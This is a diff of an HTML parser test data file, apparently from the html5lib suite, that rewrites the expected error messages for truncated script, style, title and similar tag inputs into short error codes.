+(1,24): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -24,7 +24,7 @@ Line: 1 Col: 24 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><
#errors
-Line: 1 Col: 24 Unexpected end of file. Expected end tag (script).
+(1,24): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -36,7 +36,7 @@ Line: 1 Col: 24 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></
#errors
-Line: 1 Col: 25 Unexpected end of file. Expected end tag (script).
+(1,25): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -48,7 +48,7 @@ Line: 1 Col: 25 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></S
#errors
-Line: 1 Col: 26 Unexpected end of file. Expected end tag (script).
+(1,26): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -60,7 +60,7 @@ Line: 1 Col: 26 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></SC
#errors
-Line: 1 Col: 27 Unexpected end of file. Expected end tag (script).
+(1,27): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -72,7 +72,7 @@ Line: 1 Col: 27 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></SCR
#errors
-Line: 1 Col: 28 Unexpected end of file. Expected end tag (script).
+(1,28): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -84,7 +84,7 @@ Line: 1 Col: 28 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></SCRI
#errors
-Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
+(1,29): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -96,7 +96,7 @@ Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></SCRIP
#errors
-Line: 1 Col: 30 Unexpected end of file. Expected end tag (script).
+(1,30): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -108,7 +108,7 @@ Line: 1 Col: 30 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></SCRIPT
#errors
-Line: 1 Col: 31 Unexpected end of file. Expected end tag (script).
+(1,31): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -120,7 +120,8 @@ Line: 1 Col: 31 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></SCRIPT
#errors
-Line: 1 Col: 32 Unexpected end of file. Expected end tag (script).
+(1,32): expected-attribute-name-but-got-eof
+(1,32): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -131,7 +132,7 @@ Line: 1 Col: 32 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></s
#errors
-Line: 1 Col: 26 Unexpected end of file. Expected end tag (script).
+(1,26): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -143,7 +144,7 @@ Line: 1 Col: 26 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></sc
#errors
-Line: 1 Col: 27 Unexpected end of file. Expected end tag (script).
+(1,27): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -155,7 +156,7 @@ Line: 1 Col: 27 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></scr
#errors
-Line: 1 Col: 28 Unexpected end of file. Expected end tag (script).
+(1,28): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -167,7 +168,7 @@ Line: 1 Col: 28 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></scri
#errors
-Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
+(1,29): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -179,7 +180,7 @@ Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></scrip
#errors
-Line: 1 Col: 30 Unexpected end of file. Expected end tag (script).
+(1,30): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -191,7 +192,7 @@ Line: 1 Col: 30 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></script
#errors
-Line: 1 Col: 31 Unexpected end of file. Expected end tag (script).
+(1,31): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -203,7 +204,8 @@ Line: 1 Col: 31 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script></script
#errors
-Line: 1 Col: 32 Unexpected end of file. Expected end tag (script).
+(1,32): expected-attribute-name-but-got-eof
+(1,32): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -214,7 +216,7 @@ Line: 1 Col: 32 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!
#errors
-Line: 1 Col: 25 Unexpected end of file. Expected end tag (script).
+(1,25): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -226,7 +228,7 @@ Line: 1 Col: 25 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!a
#errors
-Line: 1 Col: 26 Unexpected end of file. Expected end tag (script).
+(1,26): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -238,7 +240,7 @@ Line: 1 Col: 26 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!-
#errors
-Line: 1 Col: 26 Unexpected end of file. Expected end tag (script).
+(1,26): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -250,7 +252,7 @@ Line: 1 Col: 26 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!-a
#errors
-Line: 1 Col: 27 Unexpected end of file. Expected end tag (script).
+(1,27): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -262,7 +264,8 @@ Line: 1 Col: 27 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--
#errors
-Line: 1 Col: 27 Unexpected end of file. Expected end tag (script).
+(1,27): expected-named-closing-tag-but-got-eof
+(1,27): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -274,7 +277,8 @@ Line: 1 Col: 27 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--a
#errors
-Line: 1 Col: 28 Unexpected end of file. Expected end tag (script).
+(1,28): expected-named-closing-tag-but-got-eof
+(1,28): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -286,7 +290,8 @@ Line: 1 Col: 28 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<
#errors
-Line: 1 Col: 28 Unexpected end of file. Expected end tag (script).
+(1,28): expected-named-closing-tag-but-got-eof
+(1,28): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -298,7 +303,8 @@ Line: 1 Col: 28 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<a
#errors
-Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
+(1,29): expected-named-closing-tag-but-got-eof
+(1,29): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -310,7 +316,8 @@ Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--</
#errors
-Line: 1 Col: 27 Unexpected end of file. Expected end tag (script).
+(1,29): expected-named-closing-tag-but-got-eof
+(1,29): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -322,7 +329,8 @@ Line: 1 Col: 27 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--</script
#errors
-Line: 1 Col: 35 Unexpected end of file. Expected end tag (script).
+(1,35): expected-named-closing-tag-but-got-eof
+(1,35): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -334,7 +342,8 @@ Line: 1 Col: 35 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--</script
#errors
-Line: 1 Col: 36 Unexpected end of file. Expected end tag (script).
+(1,36): expected-attribute-name-but-got-eof
+(1,36): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -346,7 +355,8 @@ Line: 1 Col: 36 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<s
#errors
-Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
+(1,29): expected-named-closing-tag-but-got-eof
+(1,29): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -358,7 +368,8 @@ Line: 1 Col: 29 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script
#errors
-Line: 1 Col: 34 Unexpected end of file. Expected end tag (script).
+(1,34): expected-named-closing-tag-but-got-eof
+(1,34): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -370,7 +381,8 @@ Line: 1 Col: 34 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script
#errors
-Line: 1 Col: 35 Unexpected end of file. Expected end tag (script).
+(1,35): eof-in-script-in-script
+(1,35): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -382,7 +394,8 @@ Line: 1 Col: 35 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script <
#errors
-Line: 1 Col: 36 Unexpected end of file. Expected end tag (script).
+(1,36): eof-in-script-in-script
+(1,36): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -394,7 +407,8 @@ Line: 1 Col: 36 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script <a
#errors
-Line: 1 Col: 37 Unexpected end of file. Expected end tag (script).
+(1,37): eof-in-script-in-script
+(1,37): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -406,7 +420,8 @@ Line: 1 Col: 37 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </
#errors
-Line: 1 Col: 37 Unexpected end of file. Expected end tag (script).
+(1,37): eof-in-script-in-script
+(1,37): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -418,7 +433,8 @@ Line: 1 Col: 37 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </s
#errors
-Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
+(1,38): eof-in-script-in-script
+(1,38): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -430,7 +446,8 @@ Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </script
#errors
-Line: 1 Col: 43 Unexpected end of file. Expected end tag (script).
+(1,43): eof-in-script-in-script
+(1,43): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -442,7 +459,8 @@ Line: 1 Col: 43 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </scripta
#errors
-Line: 1 Col: 44 Unexpected end of file. Expected end tag (script).
+(1,44): eof-in-script-in-script
+(1,44): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -454,7 +472,8 @@ Line: 1 Col: 44 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </script
#errors
-Line: 1 Col: 44 Unexpected end of file. Expected end tag (script).
+(1,44): expected-named-closing-tag-but-got-eof
+(1,44): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -466,7 +485,8 @@ Line: 1 Col: 44 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </script>
#errors
-Line: 1 Col: 44 Unexpected end of file. Expected end tag (script).
+(1,44): expected-named-closing-tag-but-got-eof
+(1,44): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -478,7 +498,8 @@ Line: 1 Col: 44 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </script/
#errors
-Line: 1 Col: 44 Unexpected end of file. Expected end tag (script).
+(1,44): expected-named-closing-tag-but-got-eof
+(1,44): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -490,7 +511,8 @@ Line: 1 Col: 44 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </script <
#errors
-Line: 1 Col: 45 Unexpected end of file. Expected end tag (script).
+(1,45): expected-named-closing-tag-but-got-eof
+(1,45): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -502,7 +524,8 @@ Line: 1 Col: 45 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </script <a
#errors
-Line: 1 Col: 46 Unexpected end of file. Expected end tag (script).
+(1,46): expected-named-closing-tag-but-got-eof
+(1,46): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -514,7 +537,8 @@ Line: 1 Col: 46 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </script </
#errors
-Line: 1 Col: 46 Unexpected end of file. Expected end tag (script).
+(1,46): expected-named-closing-tag-but-got-eof
+(1,46): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -526,7 +550,8 @@ Line: 1 Col: 46 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </script </script
#errors
-Line: 1 Col: 52 Unexpected end of file. Expected end tag (script).
+(1,52): expected-named-closing-tag-but-got-eof
+(1,52): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -538,7 +563,8 @@ Line: 1 Col: 52 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </script </script
#errors
-Line: 1 Col: 53 Unexpected end of file. Expected end tag (script).
+(1,53): expected-attribute-name-but-got-eof
+(1,53): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -550,7 +576,8 @@ Line: 1 Col: 53 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script </script </script/
#errors
-Line: 1 Col: 53 Unexpected end of file. Expected end tag (script).
+(1,53): unexpected-EOF-after-solidus-in-tag
+(1,53): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -573,7 +600,8 @@ Line: 1 Col: 53 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script -
#errors
-Line: 1 Col: 36 Unexpected end of file. Expected end tag (script).
+(1,36): eof-in-script-in-script
+(1,36): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -585,7 +613,8 @@ Line: 1 Col: 36 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script -a
#errors
-Line: 1 Col: 37 Unexpected end of file. Expected end tag (script).
+(1,37): eof-in-script-in-script
+(1,37): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -597,7 +626,8 @@ Line: 1 Col: 37 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script -<
#errors
-Line: 1 Col: 37 Unexpected end of file. Expected end tag (script).
+(1,37): eof-in-script-in-script
+(1,37): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -609,7 +639,8 @@ Line: 1 Col: 37 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script --
#errors
-Line: 1 Col: 37 Unexpected end of file. Expected end tag (script).
+(1,37): eof-in-script-in-script
+(1,37): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -621,7 +652,8 @@ Line: 1 Col: 37 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script --a
#errors
-Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
+(1,38): eof-in-script-in-script
+(1,38): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -633,7 +665,8 @@ Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script --<
#errors
-Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
+(1,38): eof-in-script-in-script
+(1,38): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -645,7 +678,7 @@ Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script -->
#errors
-Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
+(1,38): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -657,7 +690,7 @@ Line: 1 Col: 38 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script --><
#errors
-Line: 1 Col: 39 Unexpected end of file. Expected end tag (script).
+(1,39): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -669,7 +702,7 @@ Line: 1 Col: 39 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script --></
#errors
-Line: 1 Col: 40 Unexpected end of file. Expected end tag (script).
+(1,40): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -681,7 +714,7 @@ Line: 1 Col: 40 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script --></script
#errors
-Line: 1 Col: 46 Unexpected end of file. Expected end tag (script).
+(1,46): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -693,7 +726,8 @@ Line: 1 Col: 46 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script --></script
#errors
-Line: 1 Col: 47 Unexpected end of file. Expected end tag (script).
+(1,47): expected-attribute-name-but-got-eof
+(1,47): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -705,7 +739,8 @@ Line: 1 Col: 47 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script --></script/
#errors
-Line: 1 Col: 47 Unexpected end of file. Expected end tag (script).
+(1,47): unexpected-EOF-after-solidus-in-tag
+(1,47): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -816,7 +851,8 @@ Line: 1 Col: 47 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<script>--!></script>X
#errors
-Line: 1 Col: 49 Unexpected end of file. Expected end tag (script).
+(1,49): expected-named-closing-tag-but-got-eof
+(1,49): unexpected-EOF-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -828,7 +864,7 @@ Line: 1 Col: 49 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><script><!--<scr'+'ipt></script>--></script>
#errors
-Line: 1 Col: 59 Unexpected end tag (script).
+(1,59): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -841,7 +877,8 @@ Line: 1 Col: 59 Unexpected end tag (script).
#data
<!doctype html><script><!--<script></scr'+'ipt></script>X
#errors
-Line: 1 Col: 57 Unexpected end of file. Expected end tag (script).
+(1,57): expected-named-closing-tag-but-got-eof
+(1,57): unexpected-eof-in-text-mode
#document
| <!DOCTYPE html>
| <html>
@@ -853,7 +890,7 @@ Line: 1 Col: 57 Unexpected end of file. Expected end tag (script).
#data
<!doctype html><style><!--<style></style>--></style>
#errors
-Line: 1 Col: 52 Unexpected end tag (style).
+(1,52): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -878,7 +915,7 @@ Line: 1 Col: 52 Unexpected end tag (style).
#data
<!doctype html><style><!--...</style>...--></style>
#errors
-Line: 1 Col: 51 Unexpected end tag (style).
+(1,51): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -903,7 +940,7 @@ Line: 1 Col: 51 Unexpected end tag (style).
#data
<!doctype html><style><!--...<style><!--...--!></style>--></style>
#errors
-Line: 1 Col: 66 Unexpected end tag (style).
+(1,66): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -930,7 +967,7 @@ Line: 1 Col: 66 Unexpected end tag (style).
#data
<!doctype html><style>...<style><!--...</style><!-- --></style>
#errors
-Line: 1 Col: 63 Unexpected end tag (style).
+(1,63): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -955,7 +992,7 @@ Line: 1 Col: 63 Unexpected end tag (style).
#data
<!doctype html><title><!--<title></title>--></title>
#errors
-Line: 1 Col: 52 Unexpected end tag (title).
+(1,52): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -979,7 +1016,7 @@ Line: 1 Col: 52 Unexpected end tag (title).
#data
<!doctype html><title>foo/title><link></head><body>X
#errors
-Line: 1 Col: 52 Unexpected end of file. Expected end tag (title).
+(1,52): expected-named-closing-tag-but-got-eof
#document
| <!DOCTYPE html>
| <html>
@@ -991,7 +1028,7 @@ Line: 1 Col: 52 Unexpected end of file. Expected end tag (title).
#data
<!doctype html><noscript><!--<noscript></noscript>--></noscript>
#errors
-Line: 1 Col: 64 Unexpected end tag (noscript).
+(1,64): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -1030,7 +1067,7 @@ Line: 1 Col: 64 Unexpected end tag (noscript).
#data
<!doctype html><noframes><!--<noframes></noframes>--></noframes>
#errors
-Line: 1 Col: 64 Unexpected end tag (noframes).
+(1,64): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -1054,7 +1091,7 @@ Line: 1 Col: 64 Unexpected end tag (noframes).
#data
<!doctype html><textarea><!--<textarea></textarea>--></textarea>
#errors
-Line: 1 Col: 64 Unexpected end tag (textarea).
+(1,64): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -1100,7 +1137,7 @@ Line: 1 Col: 64 Unexpected end tag (textarea).
#data
<!doctype html><iframe><!--<iframe></iframe>--></iframe>
#errors
-Line: 1 Col: 56 Unexpected end tag (iframe).
+(1,56): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -1124,7 +1161,7 @@ Line: 1 Col: 56 Unexpected end tag (iframe).
#data
<!doctype html><xmp><!--<xmp></xmp>--></xmp>
#errors
-Line: 1 Col: 44 Unexpected end tag (xmp).
+(1,44): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -1137,7 +1174,7 @@ Line: 1 Col: 44 Unexpected end tag (xmp).
#data
<!doctype html><noembed><!--<noembed></noembed>--></noembed>
#errors
-Line: 1 Col: 60 Unexpected end tag (noembed).
+(1,60): unexpected-end-tag
#document
| <!DOCTYPE html>
| <html>
@@ -1150,8 +1187,8 @@ Line: 1 Col: 60 Unexpected end tag (noembed).
#data
<script>
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 8 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,8): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1161,8 +1198,8 @@ Line: 1 Col: 8 Unexpected end of file. Expected end tag (script).
#data
<script>a
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 9 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,9): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1173,8 +1210,8 @@ Line: 1 Col: 9 Unexpected end of file. Expected end tag (script).
#data
<script><
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 9 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,9): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1185,8 +1222,8 @@ Line: 1 Col: 9 Unexpected end of file. Expected end tag (script).
#data
<script></
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 10 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,10): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1197,8 +1234,8 @@ Line: 1 Col: 10 Unexpected end of file. Expected end tag (script).
#data
<script></S
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,11): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1209,8 +1246,8 @@ Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
#data
<script></SC
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 12 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,12): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1221,8 +1258,8 @@ Line: 1 Col: 12 Unexpected end of file. Expected end tag (script).
#data
<script></SCR
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 13 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,13): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1233,8 +1270,8 @@ Line: 1 Col: 13 Unexpected end of file. Expected end tag (script).
#data
<script></SCRI
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,14): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1245,8 +1282,8 @@ Line: 1 Col: 14 Unexpected end of file. Expected end tag (script).
#data
<script></SCRIP
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 15 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,15): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1257,8 +1294,8 @@ Line: 1 Col: 15 Unexpected end of file. Expected end tag (script).
#data
<script></SCRIPT
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,16): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1269,8 +1306,9 @@ Line: 1 Col: 16 Unexpected end of file. Expected end tag (script).
#data
<script></SCRIPT
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 17 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,17): expected-attribute-name-but-got-eof
+(1,17): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1280,8 +1318,8 @@ Line: 1 Col: 17 Unexpected end of file. Expected end tag (script).
#data
<script></s
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,11): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1292,8 +1330,8 @@ Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
#data
<script></sc
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 12 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,12): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1304,8 +1342,8 @@ Line: 1 Col: 12 Unexpected end of file. Expected end tag (script).
#data
<script></scr
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 13 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,13): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1316,8 +1354,8 @@ Line: 1 Col: 13 Unexpected end of file. Expected end tag (script).
#data
<script></scri
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 14 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,14): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1328,8 +1366,8 @@ Line: 1 Col: 14 Unexpected end of file. Expected end tag (script).
#data
<script></scrip
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 15 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,15): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1340,8 +1378,8 @@ Line: 1 Col: 15 Unexpected end of file. Expected end tag (script).
#data
<script></script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 16 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,16): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1352,8 +1390,9 @@ Line: 1 Col: 16 Unexpected end of file. Expected end tag (script).
#data
<script></script
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 17 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,17): expected-attribute-name-but-got-eof
+(1,17): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1363,8 +1402,8 @@ Line: 1 Col: 17 Unexpected end of file. Expected end tag (script).
#data
<script><!
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 10 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
+(1,10): expected-named-closing-tag-but-got-eof
#document
| <html>
| <head>
@@ -1375,8 +1414,8 @@ Line: 1 Col: 10 Unexpected end of file. Expected end tag (script).
#data
<script><!a
#errors
-Line: 1 Col: 8 Unexpected start tag (script). Expected DOCTYPE.
-Line: 1 Col: 11 Unexpected end of file. Expected end tag (script).
+(1,8): expected-doctype-but-got-start-tag
